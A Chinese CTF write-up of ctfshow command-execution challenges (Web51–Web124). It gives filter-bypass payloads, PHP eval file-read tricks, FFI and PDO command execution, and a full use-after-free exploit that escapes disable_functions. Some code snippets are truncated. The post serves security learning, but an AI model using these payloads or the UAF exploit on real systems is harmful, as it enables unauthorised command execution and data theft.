ctfshow-命令执行篇[Web51-Web73&&Web118-Web124]

参考资料:https://www.wlhhlc.top/posts/14827/#web119

Web51

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这一次过滤了tac了,所以在中间插入个\,或者使用nl命令:

/?c=t\ac

Web52

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

尖括号被过滤了,不过可以使用$
那么使用${IFS}绕过空格。关于IFS的解释:
Shell 的环境变量分为 set, env 两种,其中 set 变量可以通过 export 工具导入到 env 变量中。其中,set 是显示设置shell变量,仅在本 shell 中有效;env 是显示设置用户环境变量 ,仅在当前会话中有效。换句话说,set 变量里包含了 env 变量,但 set 变量不一定都是 env 变量。这两种变量不同之处在于变量的作用域不同。显然,env 变量的作用域要大些,它可以在 subshell 中使用。

而 IFS 是一种 set 变量,当 shell 处理"命令替换"和"参数替换"时,shell 根据 IFS 的值,默认是 space, tab, newline 来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。

pauload如下:

/?c=ta\c${IFS}fla\g.php||

然后发现flag不在这儿了,逐层向上查找,最后发现在根目录:

/?c=ls${IFS}../../../||

tac一下即可:

/?c=ta\c${IFS}../../../fl\ag||

Web53

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

注意,system命令成功则返回命令输出的最后一行, 失败则返回 false

/?c=ta''c${IFS}fla\g.php

可以看到,还可以使用两个单引号插入到tac中进而绕过。

Web54

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\

可以使用grep命令:

/?c=grep${IFS}show${IFS}fl?g.php

还可以使用mv命令:
mv命令用来为文件或目录改名、或将文件或目录移入其它位置。

/?c=mv${IFS}fl?g.php${IFS}a.txt

这时候看到flag.php已经被重命名为a.txt了:


直接访问/a.txt即可。

Web55

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\

字母都被过滤了。
第一种方法是:通过匹配bin下存在的命令进行读取flag。
bin为binary的简写,主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。
我们日常直接使用的cat或者ls等等都其实是简写,例如ls完整全称应该是/bin/ls
所以payload如下:

/?c=/???/????64 ????.???                     //也就是?c=/bin/base64 flag.php

第二种方法是通过上传脚本文件并执行以达到目的,可以参考:
https://blog.csdn.net/qq_46091464/article/details/108513145
. file命令会把file里面的内容当成shell命令去执行。
首先在构造的上传页面里上传一个文件并抓包,接着将文件内容改为shell命令,并且传入c参数,使用.命令执行脚本文件:


至于为何c参数是图片中的那样,原因在于上传的文件在linux下面一般保存在/tmp/php??????一般后面的6个字符是五个小写加一个大写。(可以通过linux的匹配符去匹配)

Web56

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\

做法同上,不过发现在抓到的报文中写入命令的地方最后不能留空格,不知道为啥子。



Web57

//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

这一题需要我们构造36出来,因为是在shell环境下的,所以需要使用linux shell的一些特性:
$(()) 代表做一次运算,因为里面为空,也表示值为0
$((~$(()))) 对0作取反运算,值为-1
$(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
$((~$(($((~$(())))$((~$(())))))))再对-2做一次取反得到1,所以值为1
如果对取反不了解可以百度一下,这里给个容易记得式子,如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1
那么最后只需要37个-1相加再取反即可。
写个脚本生成payload:

data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)

Web58

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

system()shell_exec()都被过滤了,payload如下:

c=echo file_get_contents("flag.php");

这里补充一些读取文件的函数的用法:

highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组

也可以使用蚁剑:


Web59

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

file_get_contents()也被ban了,使用include()文件包含:

//POST传入:
c=echo include($_GET[1]);
//url连接:
/?1=php://filter/convert.base64-encode/resource=flag.php

show_source()也没有被禁,可以使用。

Web60

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

上面一题的两个方法都可以。

Web61

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

payload如下:

c=show_source("flag.php");
c=highlight_file("flag.php");

还可以先进行日志注入,再将日志包含进去进行命令执行。

Web62

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

同上,不过也可以这样:

c=include('flag.php');echo $flag;

Web63

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

上面的方法也能有,不过还有以下方法:

c=include('flag.php');var_dump(get_defined_vars());

其中,var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
get_defined_vars() 函数返回由所有已定义变量所组成的数组。

Web64

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

同上:

c=show_source('flag.php');

Web65

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

同上:

c=show_source('flag.php');

Web66

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

show_source()被ban了,使用highlight_file()

c=highlight_file('flag.php');


看来flag不在这儿,查看根目录,scandir() 函数返回指定目录中的文件和目录的数组:

c=var_dump(scandir('/'));

发现了flag.txt:



查看即可:

c=highlight_file('/flag.txt');

Web67

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

同上。

Web68

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

打开就告诉我们hightlight_file()被禁了,尝试文件包含:

c=include('flag.php');echo $flag;

结果flag不在这,那应该还是在根目录下。



查看根目录下文件和目录:

c=var_dump(scandir('/'));

的确在根目录下:


直接include()

c=include('/flag.txt');

因为包含进来的flag.txt里面没有php标签的,直接默认为html进行输出了。

Web69

仍然提示如下:

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

c=include('flag.php');echo $flag;后发现flag不在这,查看根目录时发现print_rvar_dump都被禁用了。
php有以下几种读取目录的方式:

print_r(glob("*")); // 列当前目录
print_r(glob("/*")); // 列根目录
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value."   ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

使用后面几个都可以:

c=$d=opendir("/");while(false!==($f=readdir($d))){echo"$f\n";};


最后include()一下就可以了:

c=include("/flag.txt");

Web70

提示如下:

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21
你要上天吗?

同上。

Web71

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

ob_get_contents():此函数返回输出缓冲区的内容,或者如果输出缓冲区无效将返回false 。
可以看到如果输出的是数字或者字母,就都变成?
如果还是使用上题的payload:

c=include('/flag.txt');

结果如下:


那就想办法在include()之后就结束代码:

c=include('/flag.txt');exit();

Web72

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

尝试读取根目录,但是失败了:

c=$d=opendir("/");while(false!==($f=readdir($d))){echo"$f\n";};exit();


这里补充一下:
open_basedir:将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开。
disable_functions:用于禁止某些函数,也就是黑名单,简单来说就是php为了防止某些危险函数执行给出的配置项,默认情况下为空。
ini_set()用于设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。但是这题也给ban了。
那么可以使用glob协议去读根目录下有哪些文件:

$a="glob:// /*.txt";                         //glob:///*.txt应该连起来写,中间空了一下只是方便理解
  if($b=opendir($a)){
    while(($file=readdir($b))!==false){
      echo "filename:".$file."\n";
    }
    closedir($b);
  }
exit();

也就是payloa如下:

c=$a="glob:///*.txt";if($b=opendir($a)){while(($file=readdir($b))!==false){echo "filename:".$file."\n";}closedir($b);}exit();

然后可以看到flag文件名为flag0.txt


但是由于open_basedir的限制,还是不可以直接include进来,需要想其它的办法。使用UAF。脚本如下:记得要把c=之后的内容url编码:

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦

Web73

先读取目录:

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

然后发现可以直接include:

c=include('/flagc.txt');exit();

当然也可以使用上一题的uaf,不过其中的strlen()被ban了:


那就重写一个strlrn()即可:

function strlen_user($s){
        $ret=0;
        for($i=0;$i<100000;$i++){
            if($s[$i]){
                $ret=$ret+1;  
            }else{
                break;
            }
        }
        return $ret;
    }

Web74

先是读取根目录:

c=$a="glob:///*";if($b=opendir($a)){while(($file=readdir($b))!==false){echo $file."\n";}closedir($b);}exit();

然后直接包含即可:

c=include('/flagx.txt');exit();

Web75

还是先查根目录:

c=$a="glob:///*";if($b=opendir($a)){while(($file=readdir($b))!==false){echo $file."\n";}closedir($b);}exit();

但是直接include()不行了,可以使用一些可使用的进程去读取flag。这里使用PDO(PHP Database Object)去执行sql语句进而读出flag,payload如下:

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

Web76

方法同上。

Web77

还是先读取目录:

c=$a="glob:///*";if($b=opendir($a)){while(($file=readdir($b))!==false){echo $file."\n";}closedir($b);}exit();

发现有两个有用的文件:


还是常使用POD读取flag36x.php但是失败了,根据提示使用PHP7.4以上才有的FFI进行命令执行(参考:https://www.php.cn/php-weizijiaocheng-415807.html):

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

payload如下:

c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);

readflag是专门用来读flag的。
然后访问/1.txt即可。

Web118

页面是这样的:


源代码是这样的:


也就是我们输入的命令会被执行,但是诸如lsid之类的都被ban了,使用如下方法。
需要使用bash的内置变量进行绕过(参考https://www.cnblogs.com/sparkdev/p/9934595.html#title_pwd):

┌──(rootkali)-[~]
└─# echo ${PWD} 
/root
                                                                                                      
┌──(rootkali)-[~]
└─# echo ${PWD:0:1}      #表示从0下标开始的第一个字符
/                                                                                                                                                                                       
┌──(rootkali)-[~]
└─# echo ${PWD:~0:1}      #从结尾开始往前的第一个字符
t
                                                                                
┌──(rootkali)-[~]
└─# echo ${PWD:~0}      
t
                                                                             
┌──(rootkali)-[~]
└─# echo ${PWD:~A}       #所以字母和0具有同样作用             
t
                                                                    
┌──(rootkali)-[~]
└─# echo ${PATH}                            
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
                                                                    
┌──(rootkali)-[~]
└─# echo ${PATH:~A}                
n
                                                                                                    
┌──(rootkali)-[~]
└─# ls                                      
Desktop  Documents  Downloads  flag.txt  Music  Pictures  Public  Templates  Videos
                                                                                              
┌──(rootkali)-[~]
└─# ${PATH:~A}l flag.txt
     1  flag{test}               

在提示中我们可以看到这张图,里面有当前目录和环境变量,那么就想办法用这两者中的字母构建/bin目录底下的命令:


那么:

${PWD}          /var/www/html
${PWD:~0}     l
${PATH}         /bin
${PATH:~0}    n

提示还告诉我们:



所以最后的payload为(数字和小写字母都被过滤了):

${PATH:~C}${PWD:~C}$IFS????.???
//也就是  nl flag.php

Web119

上一题的payload不给用了,PATH被ban了。
SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2
我们有:

${SHLVL}       //一般是一个个位数
${#SHLVL}     //1,表示结果的字符长度
${PWD:${#}:${#SHLVL}}       //表示/
${USER}        //www-data
${PHP_VERSION:~A}       //2
${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}}         //at

${PHP_VERSION:~A}来自于返回报文的头部,为2

所以最终的payload如下:

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???

也就是:

/???/?at ????.???

Web120

|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '
'.'you are so long , I dont like '.'
'; } else{ echo '
'.system($code).'
'; } } else{ echo '
evil input
'; } } ?>

可以看到对输入的字符有长度限制,那么就想办法缩短上一题的payload,不使用at字符,只取用a字符:

${USER:~A}       //a

还可以把${#}给省了,最终payload如下:

code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

还可以尝试随机数,最终的命令为:

/bin/base64 flag.php

payload如下($RANDOM 的范围是 [0, 32767]):

code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

Web121

|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '
'.'you are so long , I dont like '.'
'; } else{ echo '
'.system($code).'
'; } } else{ echo '
evil input
'; } } ?>

又ban了好多,尝试构造以下命令(rev命令将文件中的每行内容以字符为单位反序输出,即第一个字符最后输出,最后一个字符最先输出,依次类推。):

/bin/rev flag.php

这里我们可以用${IFS}${#}分别替代:
${#IFS}在ubuntu等系统中值为3,在kali中测试值为4
${#}为添加到shell的参数个数,${##}则为值,好像是1?
最终的payload如下:

code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???

然后再reverse一下即可:


image.png

另外,$?表示上次命令的执行返回码,0表示正常,其他都是不正常。当然具体的命令有不同的返回码。
所以我们可以有如下payload:

//${#?}大概率为1
code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???

补充一下几种报错对应的返回值:

"OS error code   1:  Operation not permitted"
"OS error code   2:  No such file or directory"
"OS error code   3:  No such process"
"OS error code   4:  Interrupted system call"
"OS error code   5:  Input/output error"
"OS error code   6:  No such device or address"
"OS error code   7:  Argument list too long"
"OS error code   8:  Exec format error"
"OS error code   9:  Bad file descriptor"
"OS error code  10:  No child processes"

所以利用的报错就能返回值1。

Web122

|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '
'.'you are so long , I dont like '.'
'; } else{ echo '
'.system($code).'
'; } } else{ echo '
evil input
'; } } ?>

利用的报错就能返回值1。
这一题借用${HOME}的第一位为/:payload如下:

code=

Web124

error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

这里需要了解两个函数:
base_convert()


getallheaders()

因为存在正则匹配字母过滤,所以需要进制转换:

echo base_convert('system',36,10);
//得到1751504350,从36进制转换到10进制,36进制包含10个数字和26个字母

echo base_convert('getallheaders',30,10);
//得到8768397090111664438,这里不使用36进制是因为精度会丢失,尝试到30的时候成功

最终的payload如下;

//     /?c='system'('getallheaders'(){1})
/?c=$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1}) 

配合php头部如下:


还有一种方法:

$pi=base_convert(37907361743,10,36)(dechex(1598506324));          //_GET
$$pi      //$_GET
$$pi{abs}($$pi{acos})      //$_GET($_GET[acos])注意:payload用了花括号代替方括号
/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php

你可能感兴趣的:(ctfshow-命令执行篇[Web51-Web73&&Web118-Web124])